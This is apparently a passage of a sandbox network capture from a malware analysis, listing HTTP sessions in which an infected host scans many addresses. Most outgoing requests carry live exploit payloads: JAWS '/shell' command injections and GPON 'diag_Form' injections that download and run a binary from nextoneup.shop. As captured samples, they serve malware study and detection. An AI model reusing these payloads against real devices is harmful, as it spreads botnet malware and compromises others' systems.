#9.88403617.1713060016.2668e383<P>https://errors.edgesuite.net/9.88403617.1713060016.2668e383</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.23	58686	82.163.72.143	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:17.008341074 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.23	58804	217.151.192.74	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:17.023293972 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.341031075 CEST	504	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 14 Apr 2024 01:59:55 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.23	54860	154.85.249.119	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:17.027065039 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:17.350488901 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:17 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.23	54874	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:17.283473015 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:03Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.23	54842	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:17.454109907 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:04Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.23	54900	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:17.954271078 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:04Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.23	54904	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.126796961 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:04Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.23	34004	23.201.149.71	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.213865042 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:18.880078077 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.095424891 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:18 GMT Date: Sun, 14 Apr 2024 02:00:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 36 31 32 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 38 26 23 34 36 3b 31 66 65 38 65 62 36 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 66 36 31 32 38 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 38 26 23 34 36 3b 31 66 65 38 65 62 36 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cf612817.1713060018.1fe8eb66<P>https://errors.edgesuite.net/9.cf612817.1713060018.1fe8eb66</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1023	192.168.2.23	35334	37.145.232.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.309218884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1024	192.168.2.23	41624	202.6.107.36	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.309293985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1025	192.168.2.23	49182	202.8.186.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.309370041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1026	192.168.2.23	48868	109.250.97.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.309387922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1027	192.168.2.23	40378	68.183.83.157	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.371927023 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:18.746627092 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:18 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1028	192.168.2.23	43818	195.93.252.236	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.378935099 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.297102928 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:20.663506985 CEST	253	IN	HTTP/1.1 200 OK Server: nginx/1.22.0 Date: Sun, 14 Apr 2024 02:00:20 GMT Content-Type: text/html Content-Length: 15793 Last-Modified: Thu, 23 Jun 2022 09:15:07 GMT Connection: keep-alive ETag: "62b42f1b-3db1" Accept-Ranges: bytes
Apr 14, 2024 04:00:20.663595915 CEST	1289	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 Data Ascii: <!DOCTYPE html><html><head> <title>FASTPANEL</title> <meta name="robots" content="noindex,nofollow"></head><body><div style="width:1100px;height:230px;position:absolute;left:50%;top:50%; margin-left:-550px;margin-top:-50px;text-al
Apr 14, 2024 04:00:20.663717985 CEST	1289	IN	Data Raw: 50 48 68 74 63 45 31 4e 4f 6b 52 6c 63 6d 6c 32 5a 57 52 47 63 6d 39 74 49 48 4e 30 55 6d 56 6d 4f 6d 6c 75 63 33 52 68 62 6d 4e 6c 53 55 51 39 49 6e 68 74 63 43 35 70 61 57 51 36 51 6a 45 33 51 55 49 30 4d 30 52 47 51 30 52 47 4d 54 46 46 4e 6b Data Ascii: PHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6QjE3QUI0M0RGQ0RGMTFFNkFGNTU4RkEyQkZDQTZGMjQiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6QjE3QUI0M0VGQ0RGMTFFNkFGNTU4RkEyQkZDQTZGMjQiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE
Apr 14, 2024 04:00:20.663809061 CEST	1289	IN	Data Raw: 75 70 45 54 31 71 35 4c 5a 4f 69 51 66 67 43 2b 6a 76 4f 4d 56 6f 36 67 55 45 32 33 45 76 6c 38 32 59 34 4a 7a 4a 46 67 37 41 66 32 69 45 35 36 4a 42 34 39 5a 46 4d 37 7a 43 34 43 4b 46 55 46 35 38 7a 39 47 36 55 4a 71 74 74 76 4d 57 77 6a 48 32 Data Ascii: upET1q5LZOiQfgC+jvOMVo6gUE23Evl82Y4JzJFg7Af2iE56JB49ZFM7zC4CKFUF58z9G6UJqttvMWwjH2QaXl1hMoGYY4D77Av2hYRKhsvGur3ZLQDC3h/siAOcETJ6Ip2K/58KGFgsaEu5feGRzQnU+sbGz5OwYz7JLQcG+hS7imMf7uCnztG8bp1bgp9LM/vUOb+fo61KneMfnSxFLLXyhy/O0TFiXU5fnOA4ou7numDsjHM
Apr 14, 2024 04:00:20.663863897 CEST	1289	IN	Data Raw: 4a 6e 72 45 4c 38 4c 2f 56 42 35 6e 52 62 78 52 6c 74 4b 52 76 66 6b 71 33 54 44 48 47 68 30 74 74 66 6f 6d 79 55 73 4e 79 51 6f 6b 46 42 32 74 64 61 48 46 66 76 6f 68 2b 59 33 50 77 58 73 64 39 4f 77 62 4e 73 4b 48 46 63 59 38 76 6a 6c 69 50 4a Data Ascii: JnrEL8L/VB5nRbxRltKRvfkq3TDHGh0ttfomyUsNyQokFB2tdaHFfvoh+Y3PwXsd9OwbNsKHFcY8vjliPJZOys1fKirGi+KBtLVPqKsYSbMYFvCp+xg36VVeTvH+Pt9Ctc9U0wh5TK9BKLY+llgW7oVu9Y2UGZhOphsr8+JRTmSZMeKhYZ6pdckm2679m4DKGEJ90Letb1FsbHIfBTnOx0i8Kzb8ismOF824NR2S7MA8iLmhNQH
Apr 14, 2024 04:00:20.664037943 CEST	1289	IN	Data Raw: 2f 76 46 42 55 5a 76 6f 6a 67 59 4d 72 73 63 4d 4c 6f 4d 50 56 4d 71 75 35 77 42 58 63 54 6c 61 53 46 78 6a 66 69 36 50 41 36 4d 53 6d 36 67 71 69 69 39 67 76 51 2f 4c 67 75 31 41 4b 42 68 67 63 57 78 6c 44 50 35 49 74 31 42 39 6c 67 36 79 6e 30 Data Ascii: /vFBUZvojgYMrscMLoMPVMqu5wBXcTlaSFxjfi6PA6MSm6gqii9gvQ/Lgu1AKBhgcWxlDP5It1B9lg6yn04p8cYnZ0L8VoAwOlHP8qBTzScE438OB2ygzJ2gD8tPWDfIdnXxyMfNCMr5A0OUMepsGQXedkFNmDGUSOAhyw5kfXMUIp3OlTAWPowKjP9HspsWqQeC8DFlgekEwfkp0MsAyXRBvmKBKxRRdFWBl35ulQ7Jw7c3U3d
Apr 14, 2024 04:00:20.664153099 CEST	1289	IN	Data Raw: 56 7a 59 67 78 42 2b 4e 6a 38 4d 30 75 32 6e 50 71 71 48 77 33 38 69 39 6a 75 75 57 70 35 64 48 64 43 4f 57 6a 55 67 5a 6d 65 4a 31 79 62 41 6c 75 42 7a 4d 31 41 2b 48 30 6e 32 56 30 69 38 77 32 70 35 56 67 38 42 31 47 64 4c 58 4d 37 72 69 42 4d Data Ascii: VzYgxB+Nj8M0u2nPqqHw38i9juuWp5dHdCOWjUgZmeJ1ybAluBzM1A+H0n2V0i8w2p5Vg8B1GdLXM7riBMU6jHJk72fe88xpXLlo3mV4ny0wq7JxkIoXbReoP1pPzU3JQUAzIFyuDWwz1GNMbwdOT+MY+hjdwf/zxVUhFBceX5XeMsY1sBkz4zUzhvBFQbo7urAP8C5UYPQMzXfYlFWD4JNlg2NvNKpShkVuXJTEz+ZdZ3LH2tb
Apr 14, 2024 04:00:20.664239883 CEST	1289	IN	Data Raw: 6e 64 59 6e 37 2b 68 37 30 66 77 35 77 6e 4d 72 30 77 46 64 55 39 46 2b 32 50 42 5a 32 2b 74 35 66 32 36 45 48 50 36 5a 71 69 43 46 57 69 46 33 4f 53 34 72 4a 36 76 4d 53 53 50 45 47 58 44 63 65 45 36 57 44 4e 66 45 75 53 37 42 32 4f 58 73 39 46 Data Ascii: ndYn7+h70fw5wnMr0wFdU9F+2PBZ2+t5f26EHP6ZqiCFWiF3OS4rJ6vMSSPEGXDceE6WDNfEuS7B2OXs9FnRcHDWAcB8D3DzziTYZ7SWjUITls2sMacfvauo3ciyFEbjbFfhHW8TS4JWJgxR2HUFrwEZmwjo5kL8RocBUbHZSiG6LrllRQNjoKm7d26X4I2UunXMWmL8dgPkzrIAsa998mCnCcLFOe58z7GXGShabKeP4Y5Lqq2
Apr 14, 2024 04:00:20.664438963 CEST	1289	IN	Data Raw: 4a 49 34 4c 45 42 59 74 6b 51 75 4c 49 5a 67 6c 49 32 2b 6c 56 57 39 55 36 55 44 56 33 6b 73 57 70 51 30 63 67 50 56 4d 6d 50 6d 30 76 5a 34 4d 59 7a 71 75 52 48 47 6a 75 32 73 76 52 63 4c 6c 63 4b 6f 72 4d 35 6e 6f 38 68 42 45 7a 4f 2b 48 32 4f Data Ascii: JI4LEBYtkQuLIZglI2+lVW9U6UDV3ksWpQ0cgPVMmPm0vZ4MYzquRHGju2svRcLlcKorM5no8hBEzO+H2OAqN5rRoEly0bHHxtDgT991N+9xLGs3qDbK/aqTsEgZ/4Ekeq+jz8kqy4Wwaw15YXVDctmExUomwIhNmb0/wpQK+bZh95rRotcPb2MCls97BsoWZhvVBAEd4BH7sydTcVa/mxpbkbLuTTjNch/KS2FELgpHgpm1YNz
Apr 14, 2024 04:00:20.664525032 CEST	1289	IN	Data Raw: 43 77 2b 32 43 34 69 5a 53 37 66 47 6b 57 76 6b 6f 68 6d 64 71 57 7a 56 61 59 51 57 54 73 73 46 6c 65 52 32 67 65 43 79 70 75 76 49 4a 46 59 49 39 55 66 48 47 52 4e 4c 36 58 38 38 6b 64 45 2f 4e 38 54 76 4f 79 34 48 48 30 4c 35 52 38 46 35 62 6b Data Ascii: Cw+2C4iZS7fGkWvkohmdqWzVaYQWTssFleR2geCypuvIJFYI9UfHGRNL6X88kdE/N8TvOy4HH0L5R8F5bk7ihGQf26u6MNF3HuF/NKBuJxeF3aMerkhsBF/bC4Os1mMYi/H5RG+GXbkKPCZyxEFM5BwLPfQ68C5lEOTOZHcAQDG1bAaOAed3bKE6rRgszF2WDF1wHt610hN77AoM37aX4rDO+ghTV/8zw/YuVfoFRTqtGC09z6X

Session ID	Source IP	Source Port	Destination IP	Destination Port
1029	192.168.2.23	54906	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.612099886 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:05Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1030	192.168.2.23	54914	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:18.797892094 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 35 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:05Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1031	192.168.2.23	55180	61.216.15.233	80

Timestamp	Bytes transferred	Direction	Data
